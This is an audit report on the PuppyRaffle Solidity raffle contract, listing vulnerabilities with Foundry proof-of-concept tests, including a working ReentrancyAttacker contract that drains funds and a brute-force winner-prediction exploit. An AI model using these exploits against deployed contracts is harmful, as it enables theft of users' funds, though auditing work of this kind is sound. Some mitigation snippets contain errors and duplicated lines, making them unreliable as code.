Solidity Audit

Jludvim

Protocol Summary

PuppyRaffle is a protocol that allows interested users to participate in a blockchain raffle for a percentage of the collected eth, and a puppy NFT.

Disclaimer

The Jludvim team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

	Impact

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Issues Found

severity	Number of issues found
High	3
Medium	3
Low	1
Info	3
Gas	2
Total	12

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner, and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` creates a predictable find nubmber. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This means users could fron-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthles if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and and `block.difficulty` and use that to predict when/how to participate. See the [solidity blog on prevrandao] (https://solidity developer.com/prevrandao). `block.difficulty` was replaced with prevrandao.
2. Users can mine/manipulate their msg.sender value to result in the address being used to generate the winner.
3. Users can revert ther `SelectWinner` transactio nif they don't like the winner or resulting puppy.

Using on.chain values as a randomness seed is a well-documented attack vector

Proof of Code:

▶ Details

```
function testRandomnessOnChainIsntReallyRandom() public playersEntered{
    uint256 winner;
    bool attackerWon = false;
    uint256 i=0;
    address attacker = address(100);
        address[] memory players = new address[](1);
        players[0] = attacker;
    puppyRaffle.enterRaffle{value: entranceFee * 1}(players);
    uint256 length;
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

    do{

       try puppyRaffle.players(i) returns(address addr){
            console.log(i);
        } catch {
        length = i;
        attackerWon = true;
        console.log("length is: ", i);
            }
        i++;
    }while(attackerWon == false);



    attackerWon = false;
    uint256 j=0;
    do{
        winner = uint256(keccak256(abi.encodePacked(address(j),
block.timestamp, block.difficulty))) % length;

        if(winner == puppyRaffle.getActivePlayerIndex(attacker)){
            vm.startPrank(address(j));
            puppyRaffle.selectWinner();
            vm.stopPrank();
        console.log("Number of iterations: ", j);
        attackerWon = true;
        }
        j++;

    }while(attackerWon == false);

    address addressWinner = puppyRaffle.previousWinner();
    console.log("winner is: ", addressWinner);
    console.log("attacker is: ", attacker);
    assert(addressWinner == attacker);
}
```

Recommended Mitigation: Consider using a cryptographically provable random number generatior such as Chainlink VRF.

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, interactions), and as a result enables participants to drain the contract balance. In the `PuppyRaffle::refund` function we first make an external call to the `msg.sender` address, and only after making that external call do we update the `PuppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
        //written-skipped MEVs
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

@>        payable(msg.sender).sendValue(entranceFee); //@audit Eth is sent
before changing the condition. This is reentrant.
@>        players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and clain another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by the raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. 2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of code:

Place the following into puppyraffle.t.sol

```
  function testReentrancyRefund() public{
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
```

```
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new
ReentrancyAttacker(puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance =
address(attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        //attack
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log("starting attacker contract balance",
startingAttackContractBalance);
        console.log("starting contract balance", startingContractBalance);
        console.log("ending attacker contract balance: ",
address(attackerContract).balance);
    }
```

and this contract as well:

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle){
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if(address(puppyRaffle).balance >= entranceFee){
            puppyRaffle.refund(attackerIndex);
        }
    }
```

```
    fallback() external payable{
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }


}
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Adittionally we should move the event emission up as well.

```
 function refund(uint256 playerIndex) public {
        //written-skipped MEVs
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

-        payable(msg.sender).sendValue(entranceFee); //@audit Eth is sent
before changing the condition. This is reentrant.

-        players[playerIndex] = address(0);
-        emit RaffleRefunded(playerAddress);

+        players[playerIndex] = address(0);
+        emit RaffleRefunded(playerAddress);
+        payable(msg.sender).sendValue(entranceFee); //@audit Eth is sent
before changing the condition. This is reentrant.
    }
```

[H-2] Overflow in the selectWinner function might reduce the value of fees that can be withdrawn by the feeAddress

Description: the `totalFees` state variable is a uint64. In versions of Solidity below 0.8 integers were subject to overflows, causing the totalFees value to restart after getting to 18446744073709551615 wei in fees. (18.44 eth~). In the selectWinner function there is also a direct cast to uint64 with an argument that could possibly be greater than the type limit.

▶ code

```
@>  uint64 totalFees=0;
    .
    .
    .

 function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender,
block.timestamp, block.difficulty))) % players.length;

        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
@>      totalFees = totalFees + uint64(fee); //@audit overflow
    .
    .
    .
```

There are two scenarios where the problem might arise:

1. A single transaction with a value bigger than the limit of an `uint64`, in which case the value would be truncated even before getting to totalFees because of the unsafe casting `uint64(fee)`.
2. Multiple transactions the sum of which makes the `totalFee` variable overflow.

Impact: The fees wont work properly with bigger amounts of eth that get close to the maximum value of an `uint64`. If it managed to get past it, it would restart its value, and the fees would remain stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players.
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
```

4. you will not be able to withdraw due to the line in `PuppyRaffle::withdrawFees`:

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` that the above will no longer work.

Add the following code to `PuppyRaffleTest.t.sol`:

▶ code

```
function testFeesOverflow() public{
                uint256 numOfPlayers = 100;
                address[] memory players = new address[](numOfPlayers);
        for(uint256 i=0 ; i<numOfPlayers ; i++){
            players[i] = address(i);
        }


        puppyRaffle.enterRaffle{value: entranceFee * numOfPlayers}
(players);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();

        uint256 totalAmountCollected = entranceFee * numOfPlayers;
        uint256 fees = (totalAmountCollected * 20) / 100;
        uint256 actualFees = puppyRaffle.totalFees();

        assert(fees != actualFees);
        console.log("expected value was: ", fees);
        console.log("actual value is: ", actualFees);
}
```

We'd expect the desiredValue to be 20 000000000000000000 for 100 players (fee Value set in `PuppyRaffleTest.t.sol`), but instead the actual value is: 1553255926290448384 which is in fact, equal to: `20 eth - type(uint64).max`

Recommended Mitigation:

There are a few possible solutions:

1. Change the type of totalFees from uint64 to uint256, remove the casting, and use a newer version of Solidity.

```
- uint64 totalFees;
+ uint256 totalFees;
```

remove the casting in selectWinner:

```
- totalFees = totalFees + uint64(fee);
+ totalFees = totalFees + fee;
```

2. You could also use the SafeMath library of OpenZeppelin for version 0,.7.6 of Solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.

3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

There are more attack vectors with that final require so we recommend removing it regardless.

[M-2] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The ``PuppyRaffle:selectWinner` function could revert many times, making a lottery reset difficult.

Also true winners would not get paid out, and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation:

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new ``claimPrize` function, putting the owners of the winner to claim their prize. (Recommended)

[M-1] looping through the players array to check for duplicates in `PuppyRaffle:enterRaffle` is a potential denial of service (DoS) attack, incrementing gas cost for future entrants

Description: The `PuppyRaffle:enterRaffle` function loops through the `players` array to check for duplicates before adding new players in `PuppyRaffle:enterRaffle`. However, as more players are added, the number of iterations and gas needed for execution does increase. This means that gas costs to enter the raffle would differ very significatively between players who enter right when it starts and those who enter later.

Impact: The gas costs for raffle entrans will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue. An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such:

For the first 100 players: ~6252128

For the second 100 players: ~18068215

Which is around three times more gas for the second batch than for the first.

▶ PoC

Place the following test into `PuppyRaffleTest.t.sol`

```
function testEnterRaffleIsDoSVulnerable() public{
        uint256 loops = 100;
        vm.txGasPrice(1);
        address[] memory newPlayers = new address[](loops);

        for(uint256 i=0; i<loops; i++){
        newPlayers[i] = address(i);
        }

        uint256 initialGas = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * newPlayers.length}
(newPlayers);
        uint256 finalGas = gasleft();
        uint256 gasUsedFirst = initialGas - finalGas * tx.gasprice;
        console.log("the cost of the first time:", gasUsedFirst);

        newPlayers = new address[](loops);
                for(uint256 i=0; i<loops;i++){
            newPlayers[i] = address(i+100);
        }

        initialGas = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * newPlayers.length}
(newPlayers);
        finalGas = gasleft();
        uint256 gasUsedSecond = initialGas - finalGas * tx.gasprice;
        console.log("the cost of the second time:", gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
+ uint256 raffleId = 0;
+ mapping(address => raffleId) addressToRaffleId;
.
.
.
function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length,
"PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+           addressToRaffleId[newPlayers[i]] = raffleId;
+           addressToRaffleId[newPlayers[i]] = raffleId;
        }

-       for (uint256 i = 0; i < players.length - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
-               require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
-           }
-       }
        emit RaffleEnter(newPlayers);
    }

    .
    .
    .
        function selectWinner() external {
+        raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");


        .
        .
        .

    Alternatively, you could use [OpenZeppelin's `EnumerableSet` library]
    (https://docs.openzeppelin.com/contracts/4.x/api/utils#EnumerableSet).
```

Low Severity

[L-1] `PuppyRaffle::getActivePlayerIndex` returns ' for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player is in the PuppyRaffle::players array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
    function getActivePlayerIndex(address player) external view returns
(uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
                // followup/@audit If the player is at 0, he might think
he is not active!
            }
        }
        return 0;
    }
```

Impact: A player at index 0 may incorrectly think they have not entereed the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters thee raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayersIndex` returns 0
3. User thinks they have not entered correctyl due to the function documentation

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an in256 where the function returns -1 if the player is not active.

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

its best to keep code clean and follow CEI (Checks, effects, Interactions)

```
-        (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to
winner");
        _safeMint(winner, tokenId);
+        (bool success,) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to
winner");
```

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example , instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol

Using an outdated version of Solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with any of the following Solidity versions:

`0.8.18`. The recommendations take into account: Risk related to recent releases Risks of complex code generation changes Risks of new language features Risks of known bugs Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3] `PuppyRaffle::_isActivePlayer` is never used and should be removed

`PuppyRaffle::_isActivePlayer` is an internal function, however it isn't called anywhere in the contract, making it unusable. Making it external wouldn't either be suggested unless there was a reason for that.

Mitigation Remove the function from the contract

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```

[I-3] NC-1: Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensing than reading froma constant or immutable variable.

instances:

- `Puppuraffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::LegendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be chached

Everytime you call `players.Length` you read from storage as opposed to memory, causing greater gas use.

```
+          uint256 playerLength = players.length;
-         for (uint256 i = 0; i < players.length - 1; i++) {
+         for (uint256 i = 0; i < playerLength - 1; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
+             for (uint256 j = i + 1; j < playersLength; j++) {
                 require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
             }
         }
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase and it is much more readable if the numbers are given a name.

see:

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead you could use:

```
            uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
            uint256 public constant FEE_PERCENTAGE = 20;
            uint256 public constant FEE_PRECISION = 100;
```